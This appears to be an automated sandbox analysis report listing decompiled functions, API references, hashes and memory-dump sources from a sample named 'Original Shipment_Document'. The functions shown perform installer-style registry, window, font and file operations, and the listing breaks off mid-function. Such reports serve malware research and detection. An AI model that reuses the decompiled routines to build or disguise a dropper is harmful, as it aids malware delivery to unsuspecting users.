API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 34079731c929de8d58247735eaff70048a1241b62a1d3c73abc2b2449782f779
Instruction ID: 99dcd02c2996df698938912910be9bd529ee9223a8af0c136a95fa608f388561
Opcode Fuzzy Hash: 34079731c929de8d58247735eaff70048a1241b62a1d3c73abc2b2449782f779
Instruction Fuzzy Hash: B4417DB110830ADFD755EF25D884E2677BBFB8C310F508A5EF9C686581EB34A948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA9 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				short _v536;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E00406374(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v536);
						_push(0);
						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v536);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E004068D4(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyW(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402eb4
0x00402ebd
0x00402ec6
0x00402ed2
0x00402edb
0x00402ee5
0x00402f0a
0x00402f10
0x00402f15
0x00402f16
0x00402f46
0x00402f1f
0x00402f21
0x00402f71
0x00402f74
0x00000000
0x00402f7a
0x00402f30
0x00402f35
0x00402f37
0x00000000
0x00000000
0x00402f3f
0x00402f44
0x00402f45
0x00402f45
0x00402f52
0x00402f5a
0x00402f61
0x00000000
0x00402f8a
0x00000000
0x00402f69
0x00402ef5
0x00402f08
0x00000000
0x00000000
0x00000000
0x00402f08
0x00402f90

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402EFD
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F52
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F74

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 62511f10878039b6ed18a28c82f1f53e035507c0486d8d62b001bc606e677df7
Instruction ID: cc42e232b24e5cb949d5075bafdc516cc04fbeb950a3b4618317dae0e566d145
Opcode Fuzzy Hash: 62511f10878039b6ed18a28c82f1f53e035507c0486d8d62b001bc606e677df7
Instruction Fuzzy Hash: F3216B7150010ABBDF11AF90CE89EEF7B7DEB50384F100076F909B21E1D7B49E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D81(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				WCHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t60;
				long _t63;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
				} else {
					E00402D84(2);
					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
				}
				_t55 =  *(_t65 - 0x24);
				 *(_t65 + 8) = _t30;
				_t60 = _t55 & 0x00000004;
				 *(_t65 - 0x38) = _t55 & 0x00000003;
				 *(_t65 - 0x18) = _t55 >> 0x1f;
				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
				} else {
					_t38 = E00402DA6(0x11);
				}
				 *(_t65 - 0x44) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x60);
				asm("sbb esi, esi");
				_t63 = LoadImageW( ~_t60 &  *0x42a220,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
					_push(_t63);
					E0040644E();
				}
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d81
0x00401d85
0x00401d9a
0x00401d87
0x00401d89
0x00401d8f
0x00401d8f
0x00401da0
0x00401da3
0x00401dad
0x00401db0
0x00401db8
0x00401dc9
0x00401dcc
0x00401dd7
0x00401dce
0x00401dd0
0x00401dd0
0x00401ddb
0x00401de5
0x00401e0c
0x00401e1b
0x00401e29
0x00401e31
0x00401e39
0x00401e39
0x00401e42
0x00401e48
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: ac67a32c1c63d157babab1e4358f55078bade20f941efb87d7a14794f6aec10b
Instruction ID: 2ec253bf93b3ee2af7d9c2e9edfaee5893d577595a7c220e34a49f748079806b
Opcode Fuzzy Hash: ac67a32c1c63d157babab1e4358f55078bade20f941efb87d7a14794f6aec10b
Instruction Fuzzy Hash: 9F212672904119AFCB05CBA4DE45AEEBBB5EF08304F14003AF945F62A0CB389D51DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E4E(intOrPtr __edx) {
				void* __edi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				void* _t31;
				struct HDC__* _t33;
				void* _t35;

				_t30 = __edx;
				_t33 = GetDC( *(_t35 - 8));
				_t9 = E00402D84(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x40cdc8->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t33);
				 *0x40cdd8 = E00402D84(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x20));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x40cddf = 1;
				 *0x40cddc = _t15 & 0x00000001;
				 *0x40cddd = _t15 & 0x00000002;
				 *0x40cdde = _t15 & 0x00000004;
				E00406544(_t9, _t31, _t33, 0x40cde4,  *((intOrPtr*)(_t35 - 0x2c)));
				_t18 = CreateFontIndirectW(0x40cdc8);
				_push(_t18);
				_push(_t31);
				E0040644E();
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e4e
0x00401e59
0x00401e5b
0x00401e68
0x00401e7f
0x00401e84
0x00401e91
0x00401e96
0x00401e9a
0x00401ea5
0x00401eac
0x00401ebe
0x00401ec4
0x00401ec9
0x00401ed3
0x00402638
0x0040156d
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84

Part of subcall function 00406544: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004066E9
Part of subcall function 00406544: lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,?,004055A0,Skipped: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll,00000000), ref: 00406743

CreateFontIndirectW.GDI32(0040CDC8), ref: 00401ED3

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
String ID:
API String ID: 2584051700-0
Opcode ID: f838b5baf228103f5fd385e630955879067bc70170f13252a29975995c8fe6b2
Instruction ID: 4fb721614cfc657e7ae40bea064ac1047d1e810b67000393f6ef8132d91dbde4
Opcode Fuzzy Hash: f838b5baf228103f5fd385e630955879067bc70170f13252a29975995c8fe6b2
Instruction Fuzzy Hash: E101D471940651EFEB006BB4AE8ABEA3FB0AF15305F10497AF541B61E2CAB90404DB2C

Uniqueness

Uniqueness Score: -1.00%

Function 718D16BD Relevance: 7.5, APIs: 5, Instructions: 41
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E718D16BD(struct HINSTANCE__* _a4, short* _a8) {
				_Unknown_base(*)()* _t7;
				void* _t10;
				int _t14;

				_t14 = WideCharToMultiByte(0, 0, _a8, 0xffffffff, 0, 0, 0, 0);
				_t10 = GlobalAlloc(0x40, _t14);
				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t10, _t14, 0, 0);
				_t7 = GetProcAddress(_a4, _t10);
				GlobalFree(_t10);
				return _t7;
			}

0x718d16d7
0x718d16e3
0x718d16f0
0x718d16f7
0x718d1700
0x718d170c

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,718D22D8,?,00000808), ref: 718D16D5
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,718D22D8,?,00000808), ref: 718D16DC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,718D22D8,?,00000808), ref: 718D16F0
GetProcAddress.KERNEL32(718D22D8,00000000), ref: 718D16F7
GlobalFree.KERNEL32(00000000), ref: 718D1700

Memory Dump Source

Source File: 00000001.00000002.185991106331.00000000718D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 718D0000, based on PE: true

Associated: 00000001.00000002.185991032622.00000000718D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991182881.00000000718D4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.185991257714.00000000718D6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_718d0000_Original Shipment_Document.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: c3b5043519ca097261b11d9b8f66065ac5744b5a01962eb373c903b20ea98899
Instruction ID: a305b65a2e8ed804d630a2886197c0cdc4be2bca0555b97e6ddae828afa902c0
Opcode Fuzzy Hash: c3b5043519ca097261b11d9b8f66065ac5744b5a01962eb373c903b20ea98899
Instruction Fuzzy Hash: 60F01C7320A238BBD62016A78C4CD9BBE9CDF8F2F5B250251F668E2190C6614C01DBF1

Uniqueness

Uniqueness Score: -1.00%

Function 00401C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C43(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				WCHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t63;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402D84(3);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 - 0x18) = _t29;
				_t30 = E00402D84(4);
				 *((intOrPtr*)(_t64 - 0x10)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x1c) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x18)) = E00402DA6(0x33);
				}
				__eflags =  *(_t64 - 0x1c) & 0x00000002;
				if(( *(_t64 - 0x1c) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402DA6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x34)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t61 = E00402DA6();
					_t32 = E00402DA6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t61;
					__eflags = _t35;
					_t36 = FindWindowExW( *(_t64 - 0x18),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t63 = E00402D84();
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t41 = E00402D84(2);
					 *((intOrPtr*)(_t64 - 0x10)) = _t57;
					_t56 =  *(_t64 - 0x1c) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8));
						L10:
						 *(_t64 - 0x38) = _t36;
					} else {
						_t42 = SendMessageTimeoutW(_t63, _t41,  *(_t64 - 0x18),  *(_t64 + 8), _t46, _t56, _t64 - 0x38);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x30)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x30)) >= _t46) {
					_push( *(_t64 - 0x38));
					E0040644E();
				}
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c43
0x00401c45
0x00401c4c
0x00401c4f
0x00401c52
0x00401c5c
0x00401c60
0x00401c63
0x00401c6c
0x00401c6c
0x00401c6f
0x00401c73
0x00401c7c
0x00401c7c
0x00401c7f
0x00401c83
0x00401c85
0x00401cda
0x00401cdc
0x00401ce7
0x00401cf1
0x00401cf4
0x00401cf4
0x00401cfd
0x00000000
0x00401c87
0x00401c8e
0x00401c90
0x00401c93
0x00401c99
0x00401ca0
0x00401ca3
0x00401ccb
0x00401d03
0x00401d03
0x00401ca5
0x00401cb3
0x00401cbb
0x00401cbe
0x00401cbe
0x00401ca3
0x00401d06
0x00401d09
0x00401d0f
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB3
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CCB

Strings

!, xrefs: 00401C7F

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 63cd3b03ac6125a5c39657f4fd9aa1571fe8c5c2b1a809795ec118cdc527ca65
Instruction ID: 9cc957e5ccccb3d4664e0e2a58dae5c7f5d60dbdf5ff161d76b900271ba72f5e
Opcode Fuzzy Hash: 63cd3b03ac6125a5c39657f4fd9aa1571fe8c5c2b1a809795ec118cdc527ca65
Instruction Fuzzy Hash: B9219E7190420AEFEF05AFA4D94AAAE7BB4FF44304F14453EF601B61D0D7B88941CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404D10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404D10(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E00406544(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E00406544(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E00406544(_t44, _t50, 0x423708, 0x423708, _a8);
				wsprintfW(_t34 + lstrlenW(0x423708) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x4291f8, _a4, 0x423708);
			}

0x00404d19
0x00404d1e
0x00404d26
0x00404d27
0x00404d34
0x00404d3c
0x00404d3d
0x00404d3f
0x00404d41
0x00404d43
0x00404d46
0x00404d46
0x00404d4d
0x00404d53
0x00404d53
0x00404d5a
0x00404d61
0x00404d64
0x00404d67
0x00404d67
0x00404d6b
0x00404d7b
0x00404d7d
0x00404d80
0x00404d29
0x00404d29
0x00404d30
0x00404d30
0x00404d88
0x00404d93
0x00404da9
0x00404dba
0x00404dd6

APIs

lstrlenW.KERNEL32(00423708,00423708,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DB1
wsprintfW.USER32 ref: 00404DBA
SetDlgItemTextW.USER32(?,00423708), ref: 00404DCD

Strings

%u.%u%s%s, xrefs: 00404D9B

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: dd6052bb08b2cf0188f70179b0c63bbafe6d95c304151c4f0e040ce7d30f5014
Instruction ID: e9142b657f1eeb4cf11744ba9db0a0194b5dde25e0a765d2a17d7598676c161e
Opcode Fuzzy Hash: dd6052bb08b2cf0188f70179b0c63bbafe6d95c304151c4f0e040ce7d30f5014
Instruction Fuzzy Hash: E911D8736041283BDB10666D9C45FAE3298DF81338F254237FA25F61D1D978D82182D8

Uniqueness

Uniqueness Score: -1.00%

Function 0040248A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040248A(void* __eax, int __ebx, intOrPtr __edx, void* __eflags) {
				void* _t20;
				void* _t21;
				int _t24;
				int _t30;
				intOrPtr _t33;
				void* _t34;
				intOrPtr _t37;
				void* _t39;
				void* _t42;

				_t42 = __eflags;
				_t33 = __edx;
				_t30 = __ebx;
				_t37 =  *((intOrPtr*)(_t39 - 0x20));
				_t34 = __eax;
				 *(_t39 - 0x10) =  *(_t39 - 0x1c);
				 *(_t39 - 0x44) = E00402DA6(2);
				_t20 = E00402DA6(0x11);
				 *(_t39 - 4) = 1;
				_t21 = E00402E36(_t42, _t34, _t20, 2);
				 *(_t39 + 8) = _t21;
				if(_t21 != __ebx) {
					_t24 = 0;
					if(_t37 == 1) {
						E00402DA6(0x23);
						_t24 = lstrlenW(0x40b5c8) + _t29 + 2;
					}
					if(_t37 == 4) {
						 *0x40b5c8 = E00402D84(3);
						 *((intOrPtr*)(_t39 - 0x38)) = _t33;
						_t24 = _t37;
					}
					if(_t37 == 3) {
						_t24 = E004032B4( *((intOrPtr*)(_t39 - 0x24)), _t30, 0x40b5c8, 0x1800);
					}
					if(RegSetValueExW( *(_t39 + 8),  *(_t39 - 0x44), _t30,  *(_t39 - 0x10), 0x40b5c8, _t24) == 0) {
						 *(_t39 - 4) = _t30;
					}
					_push( *(_t39 + 8));
					RegCloseKey();
				}
				 *0x42a2a8 =  *0x42a2a8 +  *(_t39 - 4);
				return 0;
			}

0x0040248a
0x0040248a
0x0040248a
0x0040248a
0x0040248d
0x00402494
0x0040249e
0x004024a1
0x004024aa
0x004024b1
0x004024b8
0x004024bb
0x004024c1
0x004024cb
0x004024cf
0x004024da
0x004024da
0x004024e1
0x004024eb
0x004024f1
0x004024f4
0x004024f4
0x004024f8
0x00402504
0x00402504
0x0040251d
0x0040251f
0x0040251f
0x00402522
0x004025fd
0x004025fd
0x00402c2d
0x00402c39

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp,00000023,00000011,00000002), ref: 004024D5
RegSetValueExW.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp,00000000,00000011,00000002), ref: 00402515
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp,00000000,00000011,00000002), ref: 004025FD

Strings

C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp, xrefs: 004024C6, 004024D4, 004024EB, 004024FF, 0040250A

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp
API String ID: 2655323295-3824153616
Opcode ID: 115faf02d334c89f827882088b0be8a93b9cbe5759b9d35681ab44e4bb566471
Instruction ID: 742bbefa47e989f243bf6062c522ac596cbc11b4bfeba2949f21d1d9b27b1258
Opcode Fuzzy Hash: 115faf02d334c89f827882088b0be8a93b9cbe5759b9d35681ab44e4bb566471
Instruction Fuzzy Hash: 8B11AC71E00108BEEB10AFA1DE49EAEBAB8FF44358F10403AF404B61C1D7B88D409A68

Uniqueness

Uniqueness Score: -1.00%

Function 00405EDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00405EDE(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E00406507(0x425f10, _a4);
				_t21 = E00405E81(0x425f10);
				if(_t21 != 0) {
					E0040678E(_t21);
					if(( *0x42a238 & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x425f10 >> 1;
						while(1) {
							_t11 = lstrlenW(0x425f10);
							_push(0x425f10);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E0040683D();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405E22(0x425f10);
								continue;
							} else {
								goto L1;
							}
						}
						E00405DD6();
						return 0 | GetFileAttributesW(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
